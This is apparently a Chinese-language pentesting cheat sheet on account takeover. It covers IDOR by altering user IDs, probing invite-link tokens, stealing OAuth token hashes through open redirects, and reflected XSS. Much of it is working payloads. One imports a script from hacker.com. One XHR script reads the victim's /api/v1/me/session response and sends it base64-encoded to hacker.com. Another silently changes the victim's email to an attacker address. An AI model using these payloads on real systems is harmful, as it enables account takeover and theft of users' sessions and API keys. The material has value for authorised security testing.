IDOR导致账户接管

比如在用户信息更新页面,把当前用户的邮箱更新为test@mail.com,抓包

1
2
3
4
POST /api/v1/user/2
...

email=test@mail.com

可以改POST为GET、或者改id

有些地方比如邀请链接也可能导致账户接管,比如当前用户分享一个链接,其他人点击了这个链接,就可以加入当前用户所在的群组这种类似的功能

链接比如长这样 https://aaa.bbb.com/join/2/ef6113d99aa71d587cc690c931ada509

首先考虑ef6113d99aa71d587cc690c931ada509是什么?是不是token?怎么生成的?是不是标识当前用户和目标的某种联系?是不是账户建立的时候赋予的标识?其次考虑这个2,有时候是整数,有时候是uuid,如果是uuid,能不能去Google上搜有没有别的公司的uuid可以拿来用?

还需要考虑的是,返回包里有没有值得注意的字段?比如id username role 这些,能不能加到请求包的数据中?有没有覆盖其值的可能?role的值是什么?admin or super_admin?就是猜

Oauth的话,一般会访问一个重定向到第三方url,并且是携带一个hash值去访问,需要做的就是拿到这个hash值

1
2
3
https://xxx.com/auth?client_id=1&redirect_url=https://yyy.com/&response_type=token
然后去访问https://yyy.com/#c271et78dasdcas876e1sadd871y
后面的hash,如果是看web日志是看不到这一串的,不会带入到日志里

怎么抓这个hash?需要找一个Open redirect,除了前面说的那些,还有一个方法就是尝试logout功能那里有没有Open redirect

1
https://xxx.com/auth?client_id=1&redirect_url=https://yyy.com/../../../logout?url=http://test.com&response_type=token

一旦找到了Open redirect漏洞的地方,就可以抓hash

1
https://xxx.com/auth?client_id=1&redirect_url=https://zzz.com/redirect?url=http://hacker.com&response_type=token

用js代码可以把hash抓到

1
2
3
<script>
window.location = 'a/' + document.location.hash.substr(1)
</script>

xss达到账户接管

比如一个账户的API key是通过访问 /api/v1/me/session 接口来获得的,而同时又存在反射xss漏洞,就可以结合(不要管CORS策略,都得试一遍)

1
https://xxx.com/?q="><img/src=x%20onerror=import("https://hacker.com/1.js")>

1.js就是简单的alert

1
alert(1);//

如果能弹窗,就可以抓API key了

2.js

1
2
3
4
5
6
7
8
9
var xhr = new XMLHttpRequest();
xhr.open('GET','/api/v1/me/session',true);
xhr.onload = function() {
if (xhr.status == 200) {
fetch('https://hacker.com/POC/?x=' + btoa(xhr.responseText) );
}
};
xhr.send();
alert(1);//

也有其他的xss方法可以达到账户接管,比如用户在更新邮箱信息的时候就是简单向某个接口发送一个数据,除了通过CSRF可以达到这种效果,js也可以

1
2
3
4
var xhr = new XMLHttpRequest();
xhr.open('POST','/update-email',true);
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr.send("email=hacker@gmail.com")

前提是有xss漏洞